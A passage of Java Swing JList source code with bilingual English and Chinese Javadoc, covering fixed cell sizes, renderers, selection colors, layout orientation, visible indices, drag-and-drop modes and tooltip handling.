* by applying <code>getPreferredSize</code> to the cell renderer component
* for each list element.
* <p>
* The default value of this property is {@code -1}.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置用于列表中每个单元格宽度的固定值。
* 如果{@code width}为-1,则通过将<code> getPreferredSize </code>应用于每个列表元素的单元格渲染器组件,在{@code ListUI}中计算单元格宽度。
* <p>
* 此属性的默认值为{@code -1}。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param width the width to be used for all cells in the list
* @see #setPrototypeCellValue
* @see #setFixedCellWidth
* @see JComponent#addPropertyChangeListener
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: Defines a fixed cell width when greater than zero.
*/
public void setFixedCellWidth(int width) {
int oldValue = fixedCellWidth;
fixedCellWidth = width;
firePropertyChange("fixedCellWidth", oldValue, fixedCellWidth);
}
/**
* Returns the value of the {@code fixedCellHeight} property.
*
* <p>
* 返回{@code fixedCellHeight}属性的值。
*
*
* @return the fixed cell height
* @see #setFixedCellHeight
*/
public int getFixedCellHeight() {
return fixedCellHeight;
}
/**
* Sets a fixed value to be used for the height of every cell in the list.
* If {@code height} is -1, cell heights are computed in the {@code ListUI}
* by applying <code>getPreferredSize</code> to the cell renderer component
* for each list element.
* <p>
* The default value of this property is {@code -1}.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置要用于列表中每个单元格的高度的固定值。
* 如果{@code height}为-1,则通过对每个列表元素应用<code> getPreferredSize </code>到单元格渲染器组件,在{@code ListUI}中计算单元格高度。
* <p>
* 此属性的默认值为{@code -1}。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param height the height to be used for for all cells in the list
* @see #setPrototypeCellValue
* @see #setFixedCellWidth
* @see JComponent#addPropertyChangeListener
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: Defines a fixed cell height when greater than zero.
*/
public void setFixedCellHeight(int height) {
int oldValue = fixedCellHeight;
fixedCellHeight = height;
firePropertyChange("fixedCellHeight", oldValue, fixedCellHeight);
}
/**
* Returns the object responsible for painting list items.
*
* <p>
* 返回负责绘制列表项的对象。
*
*
* @return the value of the {@code cellRenderer} property
* @see #setCellRenderer
*/
@Transient
public ListCellRenderer<? super E> getCellRenderer() {
return cellRenderer;
}
/**
* Sets the delegate that is used to paint each cell in the list.
* The job of a cell renderer is discussed in detail in the
* <a href="#renderer">class level documentation</a>.
* <p>
* If the {@code prototypeCellValue} property is {@code non-null},
* setting the cell renderer also causes the {@code fixedCellWidth} and
* {@code fixedCellHeight} properties to be re-calculated. Only one
* <code>PropertyChangeEvent</code> is generated however -
* for the <code>cellRenderer</code> property.
* <p>
* The default value of this property is provided by the {@code ListUI}
* delegate, i.e. by the look and feel implementation.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置用于绘制列表中每个单元格的委托。 <a href="#renderer">类级文档</a>详细讨论了单元格渲染器的作业。
* <p>
* 如果{@code prototypeCellValue}属性是{@code non-null},设置单元格渲染器也会导致{@code fixedCellWidth}和{@code fixedCellHeight}
* 属性被重新计算。
* 但是,对于<code> cellRenderer </code>属性只生成一个<code> PropertyChangeEvent </code>。
* <p>
* 此属性的默认值由{@code ListUI}委托提供,即通过外观实现。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param cellRenderer the <code>ListCellRenderer</code>
* that paints list cells
* @see #getCellRenderer
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: The component used to draw the cells.
*/
public void setCellRenderer(ListCellRenderer<? super E> cellRenderer) {
ListCellRenderer<? super E> oldValue = this.cellRenderer;
this.cellRenderer = cellRenderer;
/* If the cellRenderer has changed and prototypeCellValue
* was set, then recompute fixedCellWidth and fixedCellHeight.
* <p>
* 设置,然后重新计算fixedCellWidth和fixedCellHeight。
*
*/
if ((cellRenderer != null) && !cellRenderer.equals(oldValue)) {
updateFixedCellSize();
}
firePropertyChange("cellRenderer", oldValue, cellRenderer);
}
/**
* Returns the color used to draw the foreground of selected items.
* {@code DefaultListCellRenderer} uses this color to draw the foreground
* of items in the selected state, as do the renderers installed by most
* {@code ListUI} implementations.
*
* <p>
* 返回用于绘制所选项目的前景的颜色。
* {@code DefaultListCellRenderer}使用此颜色来绘制处于选定状态的项目的前景,大多数{@code ListUI}实现安装的渲染器也是如此。
*
*
* @return the color to draw the foreground of selected items
* @see #setSelectionForeground
* @see DefaultListCellRenderer
*/
public Color getSelectionForeground() {
return selectionForeground;
}
/**
* Sets the color used to draw the foreground of selected items, which
* cell renderers can use to render text and graphics.
* {@code DefaultListCellRenderer} uses this color to draw the foreground
* of items in the selected state, as do the renderers installed by most
* {@code ListUI} implementations.
* <p>
* The default value of this property is defined by the look and feel
* implementation.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置用于绘制所选项目的前景的颜色,哪些单元格渲染器可用于渲染文本和图形。
* {@code DefaultListCellRenderer}使用此颜色来绘制处于选定状态的项目的前景,大多数{@code ListUI}实现安装的渲染器也是如此。
* <p>
* 此属性的默认值由外观实现定义。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param selectionForeground the {@code Color} to use in the foreground
* for selected list items
* @see #getSelectionForeground
* @see #setSelectionBackground
* @see #setForeground
* @see #setBackground
* @see #setFont
* @see DefaultListCellRenderer
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: The foreground color of selected cells.
*/
public void setSelectionForeground(Color selectionForeground) {
Color oldValue = this.selectionForeground;
this.selectionForeground = selectionForeground;
firePropertyChange("selectionForeground", oldValue, selectionForeground);
}
/**
* Returns the color used to draw the background of selected items.
* {@code DefaultListCellRenderer} uses this color to draw the background
* of items in the selected state, as do the renderers installed by most
* {@code ListUI} implementations.
*
* <p>
* 返回用于绘制所选项目背景的颜色。 {@code DefaultListCellRenderer}使用此颜色来绘制处于选定状态的项目的背景,大多数{@code ListUI}实现安装的渲染器也是如此。
*
*
* @return the color to draw the background of selected items
* @see #setSelectionBackground
* @see DefaultListCellRenderer
*/
public Color getSelectionBackground() {
return selectionBackground;
}
/**
* Sets the color used to draw the background of selected items, which
* cell renderers can use fill selected cells.
* {@code DefaultListCellRenderer} uses this color to fill the background
* of items in the selected state, as do the renderers installed by most
* {@code ListUI} implementations.
* <p>
* The default value of this property is defined by the look
* and feel implementation.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置用于绘制所选项目背景的颜色,哪些单元格渲染器可以使用填充所选单元格。
* {@code DefaultListCellRenderer}使用这种颜色来填充处于选定状态的项目的背景,大多数{@code ListUI}实现安装的渲染器也是如此。
* <p>
* 此属性的默认值由外观实现定义。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param selectionBackground the {@code Color} to use for the
* background of selected cells
* @see #getSelectionBackground
* @see #setSelectionForeground
* @see #setForeground
* @see #setBackground
* @see #setFont
* @see DefaultListCellRenderer
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: The background color of selected cells.
*/
public void setSelectionBackground(Color selectionBackground) {
Color oldValue = this.selectionBackground;
this.selectionBackground = selectionBackground;
firePropertyChange("selectionBackground", oldValue, selectionBackground);
}
/**
* Returns the value of the {@code visibleRowCount} property. See the
* documentation for {@link #setVisibleRowCount} for details on how to
* interpret this value.
*
* <p>
* 返回{@code visibleRowCount}属性的值。有关如何解释此值的详细信息,请参阅{@link #setVisibleRowCount}的文档。
*
*
* @return the value of the {@code visibleRowCount} property.
* @see #setVisibleRowCount
*/
public int getVisibleRowCount() {
return visibleRowCount;
}
/**
* Sets the {@code visibleRowCount} property, which has different meanings
* depending on the layout orientation: For a {@code VERTICAL} layout
* orientation, this sets the preferred number of rows to display without
* requiring scrolling; for other orientations, it affects the wrapping of
* cells.
* <p>
* In {@code VERTICAL} orientation:<br>
* Setting this property affects the return value of the
* {@link #getPreferredScrollableViewportSize} method, which is used to
* calculate the preferred size of an enclosing viewport. See that method's
* documentation for more details.
* <p>
* In {@code HORIZONTAL_WRAP} and {@code VERTICAL_WRAP} orientations:<br>
* This affects how cells are wrapped. See the documentation of
* {@link #setLayoutOrientation} for more details.
* <p>
* The default value of this property is {@code 8}.
* <p>
* Calling this method with a negative value results in the property
* being set to {@code 0}.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置{@code visibleRowCount}属性,它根据布局方向有不同的含义:对于{@code VERTICAL}布局方向,这将设置首选的行数,而不需要滚动;对于其它取向,其影响细胞的包裹。
* <p>
* 在{@code VERTICAL}方向中:<br>设置此属性会影响{@link #getPreferredScrollableViewportSize}方法的返回值,该方法用于计算封闭视口的首选大小。
* 有关更多详细信息,请参阅该方法的文档。
* <p>
* 在{@code HORIZONTAL_WRAP}和{@code VERTICAL_WRAP}方向中:<br>这会影响单元格的包装方式。
* 有关详细信息,请参阅{@link #setLayoutOrientation}的文档。
* <p>
* 此属性的默认值为{@code 8}。
* <p>
* 使用负值调用此方法会导致将属性设置为{@code 0}。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param visibleRowCount an integer specifying the preferred number of
* rows to display without requiring scrolling
* @see #getVisibleRowCount
* @see #getPreferredScrollableViewportSize
* @see #setLayoutOrientation
* @see JComponent#getVisibleRect
* @see JViewport
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: The preferred number of rows to display without
* requiring scrolling
*/
public void setVisibleRowCount(int visibleRowCount) {
int oldValue = this.visibleRowCount;
this.visibleRowCount = Math.max(0, visibleRowCount);
firePropertyChange("visibleRowCount", oldValue, visibleRowCount);
}
/**
* Returns the layout orientation property for the list: {@code VERTICAL}
* if the layout is a single column of cells, {@code VERTICAL_WRAP} if the
* layout is "newspaper style" with the content flowing vertically then
* horizontally, or {@code HORIZONTAL_WRAP} if the layout is "newspaper
* style" with the content flowing horizontally then vertically.
*
* <p>
* 返回列表的布局方向属性:{@code VERTICAL}(如果布局是单列单元格),{@code VERTICAL_WRAP}(如果布局是"报纸样式",内容垂直然后水平),或{@code HORIZONTAL_WRAP }
* 如果布局是"报纸样式",内容水平然后垂直。
*
*
* @return the value of the {@code layoutOrientation} property
* @see #setLayoutOrientation
* @since 1.4
*/
public int getLayoutOrientation() {
return layoutOrientation;
}
/**
* Defines the way list cells are layed out. Consider a {@code JList}
* with five cells. Cells can be layed out in one of the following ways:
*
* <pre>
* VERTICAL: 0
* 1
* 2
* 3
* 4
*
* HORIZONTAL_WRAP: 0 1 2
* 3 4
*
* VERTICAL_WRAP: 0 3
* 1 4
* 2
* </pre>
* <p>
* A description of these layouts follows:
*
* <table border="1"
* summary="Describes layouts VERTICAL, HORIZONTAL_WRAP, and VERTICAL_WRAP">
* <tr><th><p style="text-align:left">Value</p></th><th><p style="text-align:left">Description</p></th></tr>
* <tr><td><code>VERTICAL</code>
* <td>Cells are layed out vertically in a single column.
* <tr><td><code>HORIZONTAL_WRAP</code>
* <td>Cells are layed out horizontally, wrapping to a new row as
* necessary. If the {@code visibleRowCount} property is less than
* or equal to zero, wrapping is determined by the width of the
* list; otherwise wrapping is done in such a way as to ensure
* {@code visibleRowCount} rows in the list.
* <tr><td><code>VERTICAL_WRAP</code>
* <td>Cells are layed out vertically, wrapping to a new column as
* necessary. If the {@code visibleRowCount} property is less than
* or equal to zero, wrapping is determined by the height of the
* list; otherwise wrapping is done at {@code visibleRowCount} rows.
* </table>
* <p>
* The default value of this property is <code>VERTICAL</code>.
*
* <p>
* 定义列表单元格的布局方式。考虑一个带有五个单元格的{@code JList}。单元格可以以下列方式之一进行布局:
*
* <pre>
* 垂直:0 1 2 3 4
*
* HORIZONTAL_WRAP:0 1 2 3 4
*
* VERTICAL_WRAP:0 3 1 4 2
* </pre>
* <p>
* 这些布局的描述如下:
*
* <table border ="1"
* summary="Describes layouts VERTICAL, HORIZONTAL_WRAP, and VERTICAL_WRAP">
* <tr> <th> <p style ="text-align:left">值</p> </th> <th> <p style ="text-align:left">说明</p> </th > </tr>
* <tr> <td> <code> VERTICAL </code> <td>单元格垂直放置在单个列中。
* <tr> <td> <code> HORIZONTAL_WRAP </code> <td>单元格被水平排列,根据需要包装到新行。
* 如果{@code visibleRowCount}属性小于或等于零,则换行由列表的宽度决定;否则包装是以确保列表中的{@code visibleRowCount}行的方式完成的。
* <tr> <td> <code> VERTICAL_WRAP </code> <td>单元格被垂直布局,必要时包装到新列。
* 如果{@code visibleRowCount}属性小于或等于零,则包装由列表的高度决定;否则换行在{@code visibleRowCount}行完成。
* </table>
* <p>
* 此属性的默认值为<code> VERTICAL </code>。
*
*
* @param layoutOrientation the new layout orientation, one of:
* {@code VERTICAL}, {@code HORIZONTAL_WRAP} or {@code VERTICAL_WRAP}
* @see #getLayoutOrientation
* @see #setVisibleRowCount
* @see #getScrollableTracksViewportHeight
* @see #getScrollableTracksViewportWidth
* @throws IllegalArgumentException if {@code layoutOrientation} isn't one of the
* allowable values
* @since 1.4
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: Defines the way list cells are layed out.
* enum: VERTICAL JList.VERTICAL
* HORIZONTAL_WRAP JList.HORIZONTAL_WRAP
* VERTICAL_WRAP JList.VERTICAL_WRAP
*/
public void setLayoutOrientation(int layoutOrientation) {
int oldValue = this.layoutOrientation;
switch (layoutOrientation) {
case VERTICAL:
case VERTICAL_WRAP:
case HORIZONTAL_WRAP:
this.layoutOrientation = layoutOrientation;
firePropertyChange("layoutOrientation", oldValue, layoutOrientation);
break;
default:
throw new IllegalArgumentException("layoutOrientation must be one of: VERTICAL, HORIZONTAL_WRAP or VERTICAL_WRAP");
}
}
/**
* Returns the smallest list index that is currently visible.
* In a left-to-right {@code componentOrientation}, the first visible
* cell is found closest to the list's upper-left corner. In right-to-left
* orientation, it is found closest to the upper-right corner.
* If nothing is visible or the list is empty, {@code -1} is returned.
* Note that the returned cell may only be partially visible.
*
* <p>
* 返回当前可见的最小列表索引。在从左到右的{@code componentOrientation}中,第一个可见单元格最靠近列表的左上角。在从右到左的方向,它被发现最接近右上角。
* 如果没有可见或列表为空,则返回{@code -1}。请注意,返回的单元格只能部分可见。
*
*
* @return the index of the first visible cell
* @see #getLastVisibleIndex
* @see JComponent#getVisibleRect
*/
public int getFirstVisibleIndex() {
Rectangle r = getVisibleRect();
int first;
if (this.getComponentOrientation().isLeftToRight()) {
first = locationToIndex(r.getLocation());
} else {
first = locationToIndex(new Point((r.x + r.width) - 1, r.y));
}
if (first != -1) {
Rectangle bounds = getCellBounds(first, first);
if (bounds != null) {
SwingUtilities.computeIntersection(r.x, r.y, r.width, r.height, bounds);
if (bounds.width == 0 || bounds.height == 0) {
first = -1;
}
}
}
return first;
}
/**
* Returns the largest list index that is currently visible.
* If nothing is visible or the list is empty, {@code -1} is returned.
* Note that the returned cell may only be partially visible.
*
* <p>
* 返回当前可见的最大列表索引。如果没有可见或列表为空,则返回{@code -1}。请注意,返回的单元格只能部分可见。
*
*
* @return the index of the last visible cell
* @see #getFirstVisibleIndex
* @see JComponent#getVisibleRect
*/
public int getLastVisibleIndex() {
boolean leftToRight = this.getComponentOrientation().isLeftToRight();
Rectangle r = getVisibleRect();
Point lastPoint;
if (leftToRight) {
lastPoint = new Point((r.x + r.width) - 1, (r.y + r.height) - 1);
} else {
lastPoint = new Point(r.x, (r.y + r.height) - 1);
}
int location = locationToIndex(lastPoint);
if (location != -1) {
Rectangle bounds = getCellBounds(location, location);
if (bounds != null) {
SwingUtilities.computeIntersection(r.x, r.y, r.width, r.height, bounds);
if (bounds.width == 0 || bounds.height == 0) {
// Try the top left(LTR) or top right(RTL) corner, and
// then go across checking each cell for HORIZONTAL_WRAP.
// Try the lower left corner, and then go across checking
// each cell for other list layout orientation.
boolean isHorizontalWrap =
(getLayoutOrientation() == HORIZONTAL_WRAP);
Point visibleLocation = isHorizontalWrap ?
new Point(lastPoint.x, r.y) :
new Point(r.x, lastPoint.y);
int last;
int visIndex = -1;
int lIndex = location;
location = -1;
do {
last = visIndex;
visIndex = locationToIndex(visibleLocation);
if (visIndex != -1) {
bounds = getCellBounds(visIndex, visIndex);
if (visIndex != lIndex && bounds != null &&
bounds.contains(visibleLocation)) {
location = visIndex;
if (isHorizontalWrap) {
visibleLocation.y = bounds.y + bounds.height;
if (visibleLocation.y >= lastPoint.y) {
// Past visible region, bail.
last = visIndex;
}
}
else {
visibleLocation.x = bounds.x + bounds.width;
if (visibleLocation.x >= lastPoint.x) {
// Past visible region, bail.
last = visIndex;
}
}
}
else {
last = visIndex;
}
}
} while (visIndex != -1 && last != visIndex);
}
}
}
return location;
}
/**
* Scrolls the list within an enclosing viewport to make the specified
* cell completely visible. This calls {@code scrollRectToVisible} with
* the bounds of the specified cell. For this method to work, the
* {@code JList} must be within a <code>JViewport</code>.
* <p>
* If the given index is outside the list's range of cells, this method
* results in nothing.
*
* <p>
* 在封闭视口中滚动列表,使指定的单元格完全可见。这将调用{@code scrollRectToVisible}与指定单元格的边界。
* 要使此方法起作用,{@code JList}必须位于<code> JViewport </code>中。
* <p>
* 如果给定的索引在列表的单元格范围之外,此方法不会产生任何结果。
*
*
* @param index the index of the cell to make visible
* @see JComponent#scrollRectToVisible
* @see #getVisibleRect
*/
public void ensureIndexIsVisible(int index) {
Rectangle cellBounds = getCellBounds(index, index);
if (cellBounds != null) {
scrollRectToVisible(cellBounds);
}
}
/**
* Turns on or off automatic drag handling. In order to enable automatic
* drag handling, this property should be set to {@code true}, and the
* list's {@code TransferHandler} needs to be {@code non-null}.
* The default value of the {@code dragEnabled} property is {@code false}.
* <p>
* The job of honoring this property, and recognizing a user drag gesture,
* lies with the look and feel implementation, and in particular, the list's
* {@code ListUI}. When automatic drag handling is enabled, most look and
* feels (including those that subclass {@code BasicLookAndFeel}) begin a
* drag and drop operation whenever the user presses the mouse button over
* an item and then moves the mouse a few pixels. Setting this property to
* {@code true} can therefore have a subtle effect on how selections behave.
* <p>
* If a look and feel is used that ignores this property, you can still
* begin a drag and drop operation by calling {@code exportAsDrag} on the
* list's {@code TransferHandler}.
*
* <p>
* 打开或关闭自动拖动处理。为了启用自动拖动处理,此属性应设置为{@code true},并且列表的{@code TransferHandler}需要为{@code non-null}。
* {@code dragEnabled}属性的默认值为{@code false}。
* <p>
* 尊重此属性并识别用户拖动手势的工作在于外观和感觉实现,特别是列表的{@code ListUI}。
* 当启用自动拖动处理时,每当用户在项目上按下鼠标按钮,然后将鼠标移动几个像素时,大多数外观和感觉(包括子类{@code BasicLookAndFeel})开始拖放操作。
* 因此,将此属性设置为{@code true}可能会对选择行为产生微妙的影响。
* <p>
* 如果使用忽略此属性的外观,您仍然可以通过在列表的{@code TransferHandler}上调用{@code exportAsDrag}来开始拖放操作。
*
*
* @param b whether or not to enable automatic drag handling
* @exception HeadlessException if
* <code>b</code> is <code>true</code> and
* <code>GraphicsEnvironment.isHeadless()</code>
* returns <code>true</code>
* @see java.awt.GraphicsEnvironment#isHeadless
* @see #getDragEnabled
* @see #setTransferHandler
* @see TransferHandler
* @since 1.4
*
* @beaninfo
* description: determines whether automatic drag handling is enabled
* bound: false
*/
public void setDragEnabled(boolean b) {
if (b && GraphicsEnvironment.isHeadless()) {
throw new HeadlessException();
}
dragEnabled = b;
}
/**
* Returns whether or not automatic drag handling is enabled.
*
* <p>
* 返回是否启用自动拖动处理。
*
*
* @return the value of the {@code dragEnabled} property
* @see #setDragEnabled
* @since 1.4
*/
public boolean getDragEnabled() {
return dragEnabled;
}
/**
* Sets the drop mode for this component. For backward compatibility,
* the default for this property is <code>DropMode.USE_SELECTION</code>.
* Usage of one of the other modes is recommended, however, for an
* improved user experience. <code>DropMode.ON</code>, for instance,
* offers similar behavior of showing items as selected, but does so without
* affecting the actual selection in the list.
* <p>
* <code>JList</code> supports the following drop modes:
* <ul>
* <li><code>DropMode.USE_SELECTION</code></li>
* <li><code>DropMode.ON</code></li>
* <li><code>DropMode.INSERT</code></li>
* <li><code>DropMode.ON_OR_INSERT</code></li>
* </ul>
* The drop mode is only meaningful if this component has a
* <code>TransferHandler</code> that accepts drops.
*
* <p>
* 设置此组件的放置模式。为了向后兼容,此属性的默认值为<code> DropMode.USE_SELECTION </code>。然而,为了改进的用户体验,推荐使用其它模式之一。
* 例如,<code> DropMode.ON </code>提供了类似的行为来显示所选项目,但这样做不会影响列表中的实际选择。
* <p>
* <code> JList </code>支持以下放置模式:
* <ul>
* <li> <code> DropMode.USE_SELECTION </code> </li> <li> <code> DropMode.ON </code> </li> <li> <code> D
* ropMode.INSERT </code> > <li> <code> DropMode.ON_OR_INSERT </code> </li>。
* </ul>
* drop模式只有在这个组件有一个接受drop的<code> TransferHandler </code>时才有意义。
*
*
* @param dropMode the drop mode to use
* @throws IllegalArgumentException if the drop mode is unsupported
* or <code>null</code>
* @see #getDropMode
* @see #getDropLocation
* @see #setTransferHandler
* @see TransferHandler
* @since 1.6
*/
public final void setDropMode(DropMode dropMode) {
if (dropMode != null) {
switch (dropMode) {
case USE_SELECTION:
case ON:
case INSERT:
case ON_OR_INSERT:
this.dropMode = dropMode;
return;
}
}
throw new IllegalArgumentException(dropMode + ": Unsupported drop mode for list");
}
/**
* Returns the drop mode for this component.
*
* <p>
* 返回此组件的放置模式。
*
*
* @return the drop mode for this component
* @see #setDropMode
* @since 1.6
*/
public final DropMode getDropMode() {
return dropMode;
}
/**
* Calculates a drop location in this component, representing where a
* drop at the given point should insert data.
*
* <p>
* 计算此组件中的放置位置,表示给定点的放置应插入数据的位置。
*
*
* @param p the point to calculate a drop location for
* @return the drop location, or <code>null</code>
*/
DropLocation dropLocationForPoint(Point p) {
DropLocation location = null;
Rectangle rect = null;
int index = locationToIndex(p);
if (index != -1) {
rect = getCellBounds(index, index);
}
switch(dropMode) {
case USE_SELECTION:
case ON:
location = new DropLocation(p,
(rect != null && rect.contains(p)) ? index : -1,
false);
break;
case INSERT:
if (index == -1) {
location = new DropLocation(p, getModel().getSize(), true);
break;
}
if (layoutOrientation == HORIZONTAL_WRAP) {
boolean ltr = getComponentOrientation().isLeftToRight();
if (SwingUtilities2.liesInHorizontal(rect, p, ltr, false) == TRAILING) {
index++;
// special case for below all cells
} else if (index == getModel().getSize() - 1 && p.y >= rect.y + rect.height) {
index++;
}
} else {
if (SwingUtilities2.liesInVertical(rect, p, false) == TRAILING) {
index++;
}
}
location = new DropLocation(p, index, true);
break;
case ON_OR_INSERT:
if (index == -1) {
location = new DropLocation(p, getModel().getSize(), true);
break;
}
boolean between = false;
if (layoutOrientation == HORIZONTAL_WRAP) {
boolean ltr = getComponentOrientation().isLeftToRight();
Section section = SwingUtilities2.liesInHorizontal(rect, p, ltr, true);
if (section == TRAILING) {
index++;
between = true;
// special case for below all cells
} else if (index == getModel().getSize() - 1 && p.y >= rect.y + rect.height) {
index++;
between = true;
} else if (section == LEADING) {
between = true;
}
} else {
Section section = SwingUtilities2.liesInVertical(rect, p, true);
if (section == LEADING) {
between = true;
} else if (section == TRAILING) {
index++;
between = true;
}
}
location = new DropLocation(p, index, between);
break;
default:
assert false : "Unexpected drop mode";
}
return location;
}
/**
* Called to set or clear the drop location during a DnD operation.
* In some cases, the component may need to use it's internal selection
* temporarily to indicate the drop location. To help facilitate this,
* this method returns and accepts as a parameter a state object.
* This state object can be used to store, and later restore, the selection
* state. Whatever this method returns will be passed back to it in
* future calls, as the state parameter. If it wants the DnD system to
* continue storing the same state, it must pass it back every time.
* Here's how this is used:
* <p>
* Let's say that on the first call to this method the component decides
* to save some state (because it is about to use the selection to show
* a drop index). It can return a state object to the caller encapsulating
* any saved selection state. On a second call, let's say the drop location
* is being changed to something else. The component doesn't need to
* restore anything yet, so it simply passes back the same state object
* to have the DnD system continue storing it. Finally, let's say this
* method is messaged with <code>null</code>. This means DnD
* is finished with this component for now, meaning it should restore
* state. At this point, it can use the state parameter to restore
* said state, and of course return <code>null</code> since there's
* no longer anything to store.
*
* <p>
* 在DnD操作期间调用以设置或清除丢弃位置。在某些情况下,组件可能需要暂时使用它的内部选择来指示丢弃位置。为了帮助实现这一点,该方法返回并接受状态对象作为参数。该状态对象可用于存储并稍后恢复选择状态。
* 无论此方法返回将作为状态参数传递回它在未来的调用。如果它希望DnD系统继续存储相同的状态,它必须每次都通过它。以下是使用方法:。
* <p>
* 让我们说,在第一次调用这个方法时,组件决定保存一些状态(因为它将使用选择来显示drop索引)。它可以返回一个状态对象给调用者封装任何保存的选择状态。在第二次调用时,我们假定放置位置正在更改为其他值。
* 该组件不需要恢复任何东西,所以它只是传回相同的状态对象,让DnD系统继续存储它。最后,让我们说这个方法是用<code> null </code>。这意味着DnD现在完成这个组件,意味着它应该恢复状态。
* 在这一点上,它可以使用状态参数来恢复所述状态,当然返回<code> null </code>,因为不再存储任何东西。
*
*
* @param location the drop location (as calculated by
* <code>dropLocationForPoint</code>) or <code>null</code>
* if there's no longer a valid drop location
* @param state the state object saved earlier for this component,
* or <code>null</code>
* @param forDrop whether or not the method is being called because an
* actual drop occurred
* @return any saved state for this component, or <code>null</code> if none
*/
Object setDropLocation(TransferHandler.DropLocation location,
Object state,
boolean forDrop) {
Object retVal = null;
DropLocation listLocation = (DropLocation)location;
if (dropMode == DropMode.USE_SELECTION) {
if (listLocation == null) {
if (!forDrop && state != null) {
setSelectedIndices(((int[][])state)[0]);
int anchor = ((int[][])state)[1][0];
int lead = ((int[][])state)[1][1];
SwingUtilities2.setLeadAnchorWithoutSelection(
getSelectionModel(), lead, anchor);
}
} else {
if (dropLocation == null) {
int[] inds = getSelectedIndices();
retVal = new int[][] {inds, {getAnchorSelectionIndex(),
getLeadSelectionIndex()}};
} else {
retVal = state;
}
int index = listLocation.getIndex();
if (index == -1) {
clearSelection();
getSelectionModel().setAnchorSelectionIndex(-1);
getSelectionModel().setLeadSelectionIndex(-1);
} else {
setSelectionInterval(index, index);
}
}
}
DropLocation old = dropLocation;
dropLocation = listLocation;
firePropertyChange("dropLocation", old, dropLocation);
return retVal;
}
/**
* Returns the location that this component should visually indicate
* as the drop location during a DnD operation over the component,
* or {@code null} if no location is to currently be shown.
* <p>
* This method is not meant for querying the drop location
* from a {@code TransferHandler}, as the drop location is only
* set after the {@code TransferHandler}'s <code>canImport</code>
* has returned and has allowed for the location to be shown.
* <p>
* When this property changes, a property change event with
* name "dropLocation" is fired by the component.
* <p>
* By default, responsibility for listening for changes to this property
* and indicating the drop location visually lies with the list's
* {@code ListUI}, which may paint it directly and/or install a cell
* renderer to do so. Developers wishing to implement custom drop location
* painting and/or replace the default cell renderer, may need to honor
* this property.
*
* <p>
* 返回此组件在组件上的DnD操作期间可视地指示为放置位置的位置,或{@code null}(如果当前未显示位置)。
* <p>
* 此方法不是用于从{@code TransferHandler}查询丢弃位置,因为丢弃位置仅在{@code TransferHandler}的<code> canImport </code>返回并允许位
* 置之后设置显示。
* <p>
* 当此属性更改时,组件会触发名为"dropLocation"的属性更改事件。
* <p>
* 默认情况下,侦听对此属性的更改和指示删除位置的责任在视觉上在列表的{@code ListUI},它可以直接绘制它和/或安装单元格渲染器这样做。
* 希望实现自定义拖放位置绘制和/或替换默认单元格渲染器的开发人员可能需要尊重此属性。
*
*
* @return the drop location
* @see #setDropMode
* @see TransferHandler#canImport(TransferHandler.TransferSupport)
* @since 1.6
*/
public final DropLocation getDropLocation() {
return dropLocation;
}
/**
* Returns the next list element whose {@code toString} value
* starts with the given prefix.
*
* <p>
* 返回下一个列表元素,其{@code toString}值以给定前缀开头。
*
*
* @param prefix the string to test for a match
* @param startIndex the index for starting the search
* @param bias the search direction, either
* Position.Bias.Forward or Position.Bias.Backward.
* @return the index of the next list element that
* starts with the prefix; otherwise {@code -1}
* @exception IllegalArgumentException if prefix is {@code null}
* or startIndex is out of bounds
* @since 1.4
*/
public int getNextMatch(String prefix, int startIndex, Position.Bias bias) {
ListModel<E> model = getModel();
int max = model.getSize();
if (prefix == null) {
throw new IllegalArgumentException();
}
if (startIndex < 0 || startIndex >= max) {
throw new IllegalArgumentException();
}
prefix = prefix.toUpperCase();
// start search from the next element after the selected element
int increment = (bias == Position.Bias.Forward) ? 1 : -1;
int index = startIndex;
do {
E element = model.getElementAt(index);
if (element != null) {
String string;
if (element instanceof String) {
string = ((String)element).toUpperCase();
}
else {
string = element.toString();
if (string != null) {
string = string.toUpperCase();
}
}
if (string != null && string.startsWith(prefix)) {
return index;
}
}
index = (index + increment + max) % max;
} while (index != startIndex);
return -1;
}
/**
* Returns the tooltip text to be used for the given event. This overrides
* {@code JComponent}'s {@code getToolTipText} to first check the cell
* renderer component for the cell over which the event occurred, returning
* its tooltip text, if any. This implementation allows you to specify
* tooltip text on the cell level, by using {@code setToolTipText} on your
* cell renderer component.
* <p>
* <strong>Note:</strong> For <code>JList</code> to properly display the
* tooltips of its renderers in this manner, <code>JList</code> must be a
* registered component with the <code>ToolTipManager</code>. This registration
* is done automatically in the constructor. However, if at a later point
* <code>JList</code> is unregistered, by way of a call to
* {@code setToolTipText(null)}, tips from the renderers will no longer display.
*
* <p>
* 返回要用于给定事件的工具提示文本。
* 这将覆盖{@code JComponent}的{@code getToolTipText},首先检查事件发生的单元格的单元格渲染器组件,返回其工具提示文本(如果有)。
* 此实现允许您在单元格级别上通过在单元格渲染器组件上使用{@code setToolTipText}指定工具提示文本。
* <p>
* <strong>注意</strong>:对于<code> JList </code>以这种方式正确显示其渲染器的工具提示,<code> JList </code>必须是注册的组件与<code> Too
* lTipManager < / code>。
* 此注册在构造函数中自动完成。但是,如果稍后<code> JList </code>未注册,通过调用{@code setToolTipText(null)},来自渲染器的提示将不再显示。
*
*
* @param event the {@code MouseEvent} to fetch the tooltip text for
* @see JComponent#setToolTipText
* @see JComponent#getToolTipText
*/
public String getToolTipText(MouseEvent event) {
if(event != null) {
Point p = event.getPoint();
int index = locationToIndex(p);
ListCellRenderer<? super E> r = getCellRenderer();
Rectangle cellBounds;
if (index != -1 && r != null && (cellBounds =
getCellBounds(index, index)) != null &&
